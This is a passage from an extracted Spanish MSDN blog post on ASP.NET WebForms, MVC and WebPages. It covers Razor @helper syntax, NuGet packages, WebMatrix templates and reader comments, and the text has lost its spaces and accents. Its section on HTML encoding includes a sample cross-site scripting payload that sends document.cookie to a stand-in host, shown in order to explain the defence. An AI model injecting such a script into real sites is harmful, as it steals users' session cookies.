introduzcaalgntipodedatooparametrizacin.Unejemplotpicoesintroducirunfragmentode
cdigoJavaScriptocultoenunpostdeunforoouncomentariodeunblog,deformaqueesescript
posteriormenteseejecuteparatodoslosusuariosqueaccedanadichoforoodichoblog.

SincodificacinHTML,elusuariomaliciosopodrainyectarelsiguientefragmentodescriptensupost
yelservidorposteriormenteloincluiracomopartedelHTMLdelapginadeformaquelos
navegadoreslointerpretarancomounaetiquetavlidadescriptqueseejecutarasinintervencindel
usuario:

<scripttype="text/javascript">
document.location='http://hacker.org/evil.asp?cookie='+document.cookie;
</script>

http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelosdeprogramacionenaspnet.aspx

17/22

14/2/2015

ModelosdeprogramacinenASP.NET:WebForms,MVCyWebPagesThecodeisoutthereSiteHomeMSDNBlogs

LacodificacinHTMLconvertiraelanteriorfragmentodetextoenlasiguientecadena,queel
navegadorwebinterpretaracomotextoliteralynocomounaetiquetaHTML/Scriptvlida,yquepor
tantoharainofensivoelataque:

&lt;scripttype=&#39;text/javascript&#39;&gt;
document.location=&#39;http://hacker.org/evil.asp?cookie=&#39;+document.cookie;
&lt;/script&gt;

CualquiermodelodeprogramacindeASP.NETsoportalacodificacinHTMLyprotegecontralos
ataquesdecrosssitescripting,peroenASP.NETWebPagessehahechodeformacompletamente
integradaenellenguajeyportantomssencillo.

3Cdigomejorestructuradoyreutilizableconlasintaxis@helper
Lasintxis@helperpermitecrearmtodoshelperqueencapsulenlgicadegeneracindeHTML,
proporcionandounamayorreutilizacindecdigoyfacilitandotambinlalecturadedichocdigo.

@helperCalculateDiscountPercent(Decimalprice,Decimaldiscount)
{
if(discount>0)
{
decimaldiscountPercent=Math.Round(((discount/price)*100M),1);
<span>@discountPercent%</span>
}
else
{
<span>Thisproductisnotdiscounted!</span>
}
}

<h1>Pricelist:</h1>

<ul>
@foreach(Productprodinproducts)
{
<li>
<spanclass="product">
Product:@prod.Description
</span>
<spanclass="price">
RegularPrice:@prod.Price
</span>
<spanclass="discountpercent">
Discount:@CalculateDiscountPercent(prod.Price,prod.Discount)
</span>
</li>
}
</ul>

4ExtensionesfcilmenteaccesiblesdesdeelPackageManager
ASP.NETWebPagesintroduceunconceptosimilaralospluginsdejQueryoWordPress,denominados
simplementepaquetes(packages).EstospaquetesestndisponiblesdesdeunfeedpblicoenInternet
llamadoNuGet,yelPackageManagerdeWebMatrixsimplificaladescargaeinstalacindeestos
paquetesparaintegrarlosennuestrasaplicaciones.

http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelosdeprogramacionenaspnet.aspx

18/22

14/2/2015

ModelosdeprogramacinenASP.NET:WebForms,MVCyWebPagesThecodeisoutthereSiteHomeMSDNBlogs

Enlamayoradeloscasosestospaquetesestnimplementadoscomoclases.NETconmtodoshelper,
quepodemosutilizardesdelaspginasRazor.Porejemplo,elpaqueteTwitter.Helper1.0permite
entreotrascosasaadirunwidgetdeTwitteraunapginaRazor,quemuestrelosltimostweetsde
unabsquedadeterminada:

<div>
@TwitterGoodies.Search("asp.net")
</div>

EsteeselresultadoquegeneraelhelperSearchdeTwitter.Helper1.0,todoestoaadiendounasola
lneadecdigo:

http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelosdeprogramacionenaspnet.aspx

19/22

14/2/2015

ModelosdeprogramacinenASP.NET:WebForms,MVCyWebPagesThecodeisoutthereSiteHomeMSDNBlogs

5PlantillasdesitioswebenWebMatrixparareducirlostiemposdedesarrollo
SielegimosMicrosoftWebMatrixcomoentornodedesarrollo,podemosreduciranmslostiempos
dedesarrollo,creandolasaplicacionesASP.NETWebPagesapartirdelasplantillasqueincluye
WebMatrix.Estasplantillasincluyenlaestructurayfuncionalidadbsicasobrelasquecrearnuevas
aplicaciones.Lasplantillasexistentesimplementanfuncionalidadcomoautenticacindeusuariospor
formularios,procesamientodepedidosparatiendaonline,funcionalidadparasubirycompartirfotos
ocreacindecalendarios.

http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelosdeprogramacionenaspnet.aspx

20/22

14/2/2015

ModelosdeprogramacinenASP.NET:WebForms,MVCyWebPagesThecodeisoutthereSiteHomeMSDNBlogs

Comments
FredyGuibert

1Jun201210:06AM
Mepareceexcelente,enlosltimosmesesheestadoprogramandoenasp.netymeparecerpido,
seguroyeficiente,graciasporloslinks!

DanielMossberg

4Jun20124:48AM
GraciasFredy,mealegroquetehayanresultadotiles.

juan_alberto

22Jul20122:53PM
Excelentegraciasporcompartir!!

AnassRahou

6Feb20138:47AM
Muchasgraciasporlainformacin,porelaclaramientomejordicho,porquemetenaconfundidolodelas
tresmodalidadesquedigamos,ahoraestmuchomejorexplcito.Gracias

http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelosdeprogramacionenaspnet.aspx

21/22

14/2/2015

ModelosdeprogramacinenASP.NET:WebForms,MVCyWebPagesThecodeisoutthereSiteHomeMSDNBlogs

Omar

25Sep20136:09AM
Excelente!

JManuMurillo

29Oct20133:23PM
Muchasgracias!!

Halo4

6Nov20133:05PM
Holaquetal.
Mepareceinteresanteelartculo.Solohayunpuntoquesedebedeaclarar:Elttulopuestocomo
"ASP.NETWebPages",comounmodelodeprogramacinpuederesultarconfusoparaalgunos
desarrolladores,yaquerealmenteesmsqueunmodelo,estambinlatecnologasobrelaculestael
desarrollodepginaswebdinmicasenASP.NET,as,WebFormsusaestatecnologadeWebPages
paralaimplementacindepginasenASP.NET.Creoquesecomprendemejorcomo"ASP.NETWEB
PagesconsintaxisRazor".SiempremehequejadodeJavaStrutsporlafamosaimplementacindesu
"cdigospaguetti",ybueno,meresultafamiliarqueesteconceptoseapliqueconestasintaxisRazor
dentrodelcdigodelainterfazdelapginaweb(WebPage).
Saludos!!

ChristianSandoval

22Nov20146:27AM
Excelenteaporte,meaclarasteunpardecosas.
Saludos.

http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelosdeprogramacionenaspnet.aspx

22/22

You might also like